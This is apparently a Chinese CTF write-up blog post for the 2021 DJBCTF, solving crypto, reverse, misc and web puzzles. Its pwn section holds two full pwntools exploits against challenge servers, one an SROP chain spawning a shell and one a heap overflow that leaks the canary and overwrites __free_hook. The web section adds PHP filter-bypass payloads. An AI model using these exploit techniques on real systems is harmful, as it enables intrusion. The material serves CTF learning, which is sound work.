2021 DJBCTF(大吉大利杯) wp

实在是很忙,忙着赶项目,没来得及参加这个比赛,只能抽空做一下,断断续续做,然后写好wp又因为太忙忘记发出来。。。。
这次比赛的题挺不错的,难度适中(狸题除外,真的狸谱,有时间研究一下阿狸师傅的题,题目很新颖),部分题目后期再补上
在此感谢出题的各位大师傅!!!

Crypto

easysignin

from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from random import getrandbits
from secret import flag

def genpq(k):
    while True:
        p = getPrime((k + 3) // 4)
        q = getPrime((k + 3) // 4)
        if ((p ** 2) * (q ** 2)).bit_length() == k:
            return (p, q)

def genseq(t, k):
	x = getrandbits(k)
	y = getrandbits(k)
	r = []
	r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
	for i in range(len(flag)):
		r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
	return r

(p, q) = genpq(2021)
e = getPrime(0x0123)
r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
c = pow(bytes_to_long(flag), e, 2021 * p * q)

out = open('output.txt','w')
out.write(str(r) + "\n")
out.write(str(c) + "\n")
out.close()

程序自定义写了getpq函数,然后弄了一大堆东西,最后就是rsa加密,genseq函数中的t为素数,直接费马小定理化简为1,后面三次调用这个函数,r和p,q,e均存在关系,LCG攻击

因为之前研究过La大佬的LCG攻击,用脚本即可解出p,q,e

from functools import reduce
from math import gcd
from gmpy2 import *
from Crypto.Util.number import *

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)

rp = []
rq = []
re = []
xp, yp, p = crack_unknown_modulus(rp)
xq, yq, q = crack_unknown_modulus(rq)
xe, ye, e = crack_unknown_modulus(re)
print(p)
print(q)
print(e)
d = invert(e,(p-1)*(q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))

luckybase

不会,待研究~~

大佬们帮我看看我这个Python脚本为什么运行不了啊

fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES

A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
nuMBER = bYTEs_tO_long(a_FAKE_FLAG)

KeY1 = B'DO yOU WAnT A DAJIBEI?'
KEY1 = Bytes_to_lONG(KEY1)

KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
iv = 10800
KEY3 = KeY2 * IV

IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
print(long_tO_bytes(IS_THis_REAl_flag))

修正大小后,运行,得到

thrEE_means_3

结果为:

英文_means_数字

flag有可能是这种结构,逐一尝试,最终试出flag

听说

不会,待研究~~

eccsimiscce

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from random import getrandbits
from secret import flag

def gen(n):
	g = []
	while len(g) < 2:
		r = getrandbits(128)
		if r < n:
			g += [r]
	return g[0], g[1]

pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
assert len(pt) % 8 == 0

o = open('output','w')

n = getPrime(64) * getPrime(64)
o.write(str(n) + '\n')
a, b = gen(n)

p = []
E = EllipticCurve(IntegerModRing(n), [a, b^2])
P = E((0, b))
p += [P.xy()]
for k in range(len(pt) // 8):
	Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
	p += [Q.xy()]
	P = Q	
o.write(str(p))

代码就是就把flag的二进制经过处理后,8个字节一组进行ECC加密,之后将得到的Q点作为下一组的P点继续加密处理,n是素数,根据在全国大学生信息安全竞赛学到的一个知识点,可以把分解为模p和模q上的两题曲线来处理,逆行解即可,解出来是01字符串,转为二维码,扫描即可获得flag(脚本忘记贴上来了。。。)

简单密码

不会,阿狸师傅的题,还是很狸谱~~

单表加密

待研究~

pwn

easyrop

先检查文件保护

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

没有开任何保护,ida分析,发现程序很短

寄存器所有的值我们都可以控制,伪造sigframe,控制程序走向即可pwn

from pwn import *

context(arch='amd64',os='linux')
context.log_level = "debug"

pop_rax = 0x4000db
read_addr = 0x4000dc
buf_addr = 0x6000e0

#p = process('./easyrop')
p = remote('pwn.chall.ctf.show',28035)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf_addr
sigframe.rdx = 0x300
sigframe.rsp = buf_addr
sigframe.rip = read_addr


p.recvuntil('Welcome to DJB easyrop!\n')
payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
p.send(payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr+0x120
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = read_addr

payload = p64(pop_rax)+p64(15)+str(sigframe)
payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)

p.interactive()

easy_note

检查文件保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,ida分析,申请函数关键部分如下

 v1 = malloc(0x20uLL);                         // 申请内存
  src = v1;                                     // src是结构体
  v1[2] = dest;
  *((_DWORD *)src + 2) = buf;
  *(_QWORD *)src = a1;                          // 大小也写进结构体
  *((_BYTE *)src + 24) = 0;
  dest = (char *)dest + a1;
  dword_602100 -= a1;
  memcpy(dest, src, 0x20uLL);                   // 复制到dest
  qword_602120[dword_602104] = (__int64)dest;
  dest = (char *)dest + 32;
  dword_602100 -= 32;
  free(src);                                   //释放
  v2 = dword_602104++;
  dword_602180[v2] = buf;

这里有个点,就是将src的大小也写进了去了,之后将src复制到dest,再释放src,同时注意到写函数

  int result; // eax

  if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
    result = read(0, *(void **)(qword_602120[a1] + 16), a2);
  else
    result = puts("Chunk doesn't exist");
  return result;

这里并没有对大小(a2)进行限制,如果申请小内存,然后写入大小比较大的内容,溢出,再利用打印函数,那么可以泄露canary和libc版本

from pwn import *

context(arch='amd64',os='linux')
context.log_level = "debug"

p = remote('pwn.chall.ctf.show',28099)
#p = process('./easy_note')
elf = ELF('./easy_note')
libc = ELF('./libc-2.27.so')


def add(size):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil(':\n')
    p.sendline(str(size))

def print_(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil(':\n')
    p.sendline(str(index))

def write_(index,size,content):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil(':\n')
    p.sendline(str(index))
    p.recvuntil(':\n')
    p.sendline(str(size))
    p.send(content)

add(0x20)
content = 'a'*31+'A'+p64(0x50)
write_(0,0x30,content)
print_(0)
p.recvuntil('A')
p.recv(8)
canary = u64(p.recv(8))
print('Canary addr is:',hex(canary))
memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = memcpy+0x400000
free_hook = libc_base+libc.symbols['__free_hook']

one_gadget = libc_base+0x10a41c
write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
write_(0,0x100,p64(one_gadget))
add(0x20)
#gdb.attach(p)
p.interactive()

Reverse

A-Maze-Ln

32位程序,无壳,idA分析

找到关键函数

  memset(Dst, 0, 0x100u);
  memset(v11, 0, 0x100u);
  ((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
  ((void (__cdecl *)(const char *, char))print)(
    "Let's play escape game where you have to find a way out. Please enter your way:",
    v2);
  sub_401050("%s", (unsigned int)v11);          // v11为flag
  v3 = 3;
  v4 = 0;
  if ( strlen(v11) != 34 )                      // 长度34
    goto LABEL_22;
  v5 = 0;
  do
  {
    v6 = v11[v5];
    switch ( v6 )
    {
      case 'U':
        v7 = v4;
        if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        --v4;
        break;
      case 'D':
        v7 = v4;
        if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        ++v4;
        break;
      case 'L':
        v7 = v4;
        if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        --v3;
        break;
      case 'R':
        v7 = v4;
        if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        ++v3;
        break;
      default:
        goto LABEL_22;
    }
    ++v5;
  }
  while ( v5 < 34 );
  if ( v3 != 4 || v4 != 7 )
  {
LABEL_22:
    print("You're stuck!\n");
    return 0;
  }
  if ( sub_401090(v7, v11) == -1 )
    return 0;
  ((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
  v8 = 0;
  do
  {
    Sleep(0xC8u);
    print("%c", Dst[v8++]);
  }
  while ( v8 <= 0x2C );
  return 0;

很明显是迷宫问题,起点是(3,0),终点为(4,7),大小为8*8,并且数据已给出

根据程序的判断,得出0是表示死路,1表示通路,最终推算出路径: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR

Matara Okina

下载候是apk文件,拖进jd分析,关键代码如下

public class FlagActivity extends Activity {
    byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
    public native String Check(String str);
    static {
        System.loadLibrary("Checker");
    }
    /* access modifiers changed from: protected */
    @Override // android.app.Activity

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_flag);
        Uri data = getIntent().getData();
        TextView textView = (TextView) findViewById(R.id.result);
        String scheme = data.getScheme();
        String host = data.getHost();
        if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
            String queryParameter = data.getQueryParameter("secret");
            if (queryParameter == null) {
                textView.setText("NO");
                return;
            }
            byte[] bytes = queryParameter.getBytes();
            int i = 0;
            while (i < (bytes.length + 1) / 2) {
                int i2 = i + 1;
                bytes[i] = (byte) (bytes[i] ^ i2);
                int length = (bytes.length - 1) - i;
                bytes[length] = (byte) (bytes[length] ^ i2);
                i = i2;
            }
            if (Arrays.equals(this.ans, bytes)) {
                textView.setText(Check(data.toString()));
            } else {
                textView.setText("NO");
            }
        } else {
            textView.setText("NO");
        }
    }
}

就是将"@lgvjocWzihodmXov[EWO",经过算法处理,python脚本处理一下

ans = "@lgvjocWzihodmXov[EWO"
i=0
flag_temp = [0]*len(ans)
while(i<(len(ans)+1)//2):
    j = i+1
    flag_temp[i]^=j
    lens = len(ans)-1-i
    flag_temp[lens] = ord(ans[lens])^j
    flag_temp[i] = ord(ans[i])^j
    i+=1

print(''.join([chr(i) for i in flag_temp]))

得到:Android_scceme_is_FUN,再根据代码,schema为跳转协议,在配置文件查看内容如下

<intent-filter>
                <data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.BROWSABLE"/>
            </intent-filter>
        </activity>

访问的url可知,并构造如下,即可得到flag

<a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>

Unrealflag

缺少环境,待更新

anniu

找到句柄,修改按钮控件属性即可

warmup

64位程序,无壳,ida分析,关键代码如下,

 if ( byte_40A0[16 * a1 + a2] == -1 )
    return 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
      return 0LL;//行不等
  }
  for ( j = 0; j <= 15; ++j )
  {
    if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
      return 0LL;//列不等
  }
  v4 = a1 - a1 % 4;
  v3 = a2 - a2 % 4;
  for ( k = 0; k <= 3; ++k )
  {
    for ( l = 0; l <= 3; ++l )
    {
      if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一个小块不等
        return 0LL;
    }
  }

长度为48

 if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
  {
    for ( i = 0; i <= 47; ++i )                 // 长度48
    {
      v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
      if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
        goto LABEL_9;
    }
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
    sub_125E((__int64)&v8);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
    if ( !((unsigned __int8)sub_14E0() ^ 1) )//满足这个判断
    {
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      exit(0);

挺明显的,是个数独游戏,找原始数据

提取出来,处理数独游戏解一下,依次取值,得到

[7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]

python处理得到flag

flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
for i in range(len(flag)):
    if flag[i]>9:
        flag[i] = hex(flag[i])[2:]
    else:
        flag[i] = str(flag[i])
print("flag{"+''.join([i for i in flag])+"}")

e

32位程序,ELF文件,无壳,ida分析无果,动态调试看看

准备找到输入的地方,进行跟踪,发现程序跑到这就死循环了

改用attach调试正在执行的进程,并且一直往下跟,一定可以找到判断的地方,并且过程中发现几次字符的处理

先是B(可能前面漏了几个,确实有看到J,结合赛名DJB,前面应该还有DJ)

然后是R

然后是E

这些字符很有可能进行判断的,特别关注,继续往下跟,堆栈处发现

继续,出现

最后有

最终就是个比较函数,输入的字符串和DDDJJJBBBRRREEE比较,这个就是flag

misc

十八般武艺

下载后是压缩包,发现需要密码,注释有

jph对18个图片处理得到18个txt文件,每个都藏有数字,在最下面,拼接后为

1361439992231635258176397978587009639353044053720460556276610613346353724230575

发现都是10进制数,提示前10种兵器是10进制,转为16进制再转文本为

flag{CTFshow_10_

后8种为8进制,转为16进制,再转文本

bA_Ban_b1ng_Q1}

拼接即为flag

请问大吉杯的签到是在这里签吗

下载后是二维码,但是扫后没有什么信息,010看看,发现里面似乎还有其他图片,还发现zip标志,分解看看,得到一个2图片和压缩包

图片扫码后是说:还要往前走……是不是在这个路口转弯呢?,解压压缩包,里面也是2图片,第二张图有点东西

最终在stegsolve发现(走了好多弯路)

猪圈密码解密即可

牛年大吉

010分析,发现里面存在其他类型的文件,直接分解

但是压缩包存在密码,根据提示:压缩包密码在图片文件头里,刚开始一直不懂什么意思,后来尝试一下文件头: 89504E47 ,这个就是密码,解压后得到flag

简单的FM

一直都是0解,很简单??阿狸师傅可能比较喜欢裸奔。。

童话镇

下载后是一个mp4文件,分解得到一个压缩包,但是存在密码,爆破得到密码为67373,得到两个txt文件,两个文件都很大,有点像机器学习的东西,不懂。。。也是阿狸师傅的题

色图生成器

解压后是一个txt文件和一个png图片,txt文件内容为很多颜色的单词,图片的马赛克部分很奇怪,脚本处理一下,找一下规律

from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
    for y in range(50,995,5):
        color=p.getpixel((y,x))
        print(color[0],color[1],color[2])
        i+=1
        if i==10:
            break

部分结构如下图

发现马赛克部分,82,97,114转为ascii为rar,说明马赛克部分其实是一个压缩包,并且发现是RGB中其中一个值为0,写脚本将数据全部提取出来

from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
    for y in range(50,995,5):
        color=p.getpixel((y,x))
        if color[0] ==0 or color[1]==0 or color[2]==0:
            z = (color[0]+color[1]+color[2])//2
            print(z,end=' ')
            i+=1

010处理一下

打开这个rar文件,里面是一张图片,010分析一下,尾部发现压缩包标志,分解,得到一个压缩包,但是有密码

根据提示github搜索Cloakify,并用题提供的txt作为字典,跑一下得到密码

D3arD4La0P1e45eD4iDa1Wo

得到一个pyc文件,反编译一下

from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
    m = hashlib.md5()
    m.update(flag.encode('ascii'))
    m = m.hexdigest()
    col = []
    for i in range(0, 24, 2):
        tmp = int(m[i:i + 2], 16)
        tmp += random.randint(-5, 5)
        col += [tmp]
 
    img = Image.new('RGB', (1024, 512))
    for i in range(4):
        timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
        img.paste(timg, (i * 256, 0))
 
    img.save('C:/Users/Administrator/Desktop/setu.png')

这个脚本是对setu.png进行处理,但是引入了随机数,逆算法不行,直接暴力破解即可

import re
import hashlib

list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for a1 in range(48,123):
    for a2 in range(48,123):
        for a3 in range(48,123):
            for a4 in range(48,123):
                flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
                if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                    m = hashlib.md5()
                    m.update(flag.encode('ascii'))
                    m = m.hexdigest()
                    b = 0
                    for i in range(0,24,2):
                        tmp = int(list[b])
                        if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
                            b = b+1
                            continue
                        elif i==22:
                            print(flag,'Found the flag!')
                            break
                        else:
                            break

拼图2.0

拼图即可

碑寺六十四卦

捣鼓了一大圈,没发现什么,最后将图片反色才发现线索, stegsolve解一下最低位通道即可得到另一张图片 (放大镜放大,得到)

对应卦图的数字为:

5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40

对应base64解密一下,得到flag

AA86

%@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"

题目提示16位系统的文件,16位dos系统的话能运行的文件比较经典的是com文件,(这学期病毒课实验课,搭了个16位虚拟机,正好用到),保存为com文件,dos系统跑一下,得到flag

web

veryphp

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;//我们得读到这个hint
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

首先我们得先读到hint,长度为29,并且匹配正则,比较容易

-a9<b>xxxxxxxxx>>>>abcphp@Rsx

但是shaw_root的下划线得处理为空格(+不行),绕过正则,得到hint

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

爆破得到的SecretNumber为: 21475 ,然后就到call_user_func,调用类中函数就行了,比较简单

shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao

spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

传入的user_name和pass_word的下划线会被正则影响,空格绕过,得flag

有手就行

url出现file=scan,经过多次尝试,只有file=flag,才有结果,前端发现代码,base64转图片,是一个小程序

爬楼游戏,爬547万层,就是点击547万次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一个题)

虎山行

不会,暂研究~~~

posted @ 2021-02-05 23:59  寒江寻影  阅读(1151)  评论(0编辑  收藏  举报